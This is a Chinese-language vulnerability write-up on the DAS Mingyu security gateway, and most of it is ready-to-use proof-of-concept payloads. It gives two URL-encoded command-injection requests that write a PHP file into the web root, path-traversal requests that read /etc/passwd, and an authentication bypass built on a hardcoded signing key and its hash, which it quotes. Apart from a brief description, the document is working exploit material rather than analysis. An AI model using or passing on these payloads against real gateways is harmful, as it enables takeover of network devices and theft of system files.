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安恒 明御安全网关 命令执行 任意文件读取漏洞

漏洞描述

安恒信息明御安全网关存在命令执行漏洞,导致攻击者可以直接执行系统命令,从而控制目标系统。

漏洞分析

参考阅读:

漏洞复现

命令执行 1

漏洞 URL:

/webui/?g=aaa_portal_auth_local_submit&suffix=

poc:

/webui/?g=aaa_portal_auth_local_submit&suffix=%0aecho%20%27%3C%3Fphp%20echo%20%22test%20-%20Open%20source%20project%20%28github.com%2Ftest%2Ftest%29%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2F111111112.php&bkg_flag=0

命令执行 2

漏洞 URL:

/webui/?g=aaa_portal_auth_config_reset&type=

poc:

/webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22test%20-%20Open%20source%20project%20%28github.com%2Ftest%2Ftest%29%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2F111111111.php%0a

任意文件读取

poc:

requests:
  - method: GET
    path:
      - "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../etc/passwd"
      - "{{BaseURL}}/webui/?g=sys_dia_data_check&file_name=../../../../../../../../etc/passwd"
      - "{{BaseURL}}/webui/?g=sys_capture_file_download&name=../../../../../../../../etc/passwd"
      - "{{BaseURL}}/webui/?g=sys_corefile_sysinfo_download&name=../../../../../../../../etc/passwd"

验证码绕过

poc:

/remote_auth.php?user=admin&pwd=admin&sign=ba84d9dd91eb304aca57f0a8f052623e

其中 sign 硬编码在 /usr/local/webui/remote_auth.php 中:

php
if($_GET['user']!=null) $usr = formatget($_GET['user']);
if($_GET['pwd']!=null) $pwd = formatget($_GET['pwd']);
if($_GET['sign']!=null) $sign = formatget($_GET['sign']);
$key= 'saplingos!@#$%^&*';//这个key你们协商后保存一致即可
//ba84d9dd91eb304aca57f0a8f052623e
if(empty($usr)){
	die('user_null');
}
else if(empty($pwd)){
	die('pwd_null');
}
else if (!$sign){
	die('sign_null');
}
else if ($sign != md5($key)){
	die('sign_error');
}
else{
	if (isset($usr, $pwd)) {
		LoginHandler::login($usr, $pwd, $num,'',$remote_auth = true);
	}
	$fail_msg = '';
	if (LoginHandler::isLoginFail()) {
		$fail_msg = $_SESSION[ERROR_STR];
		if (strlen($fail_msg) <= 0) {
			$fail_msg = LocalUtil::getCommonResource('login_failed');
		}
		die($fail_msg);
	}
}

可以通过任意文件读取漏洞读取 key,然后进行爆破。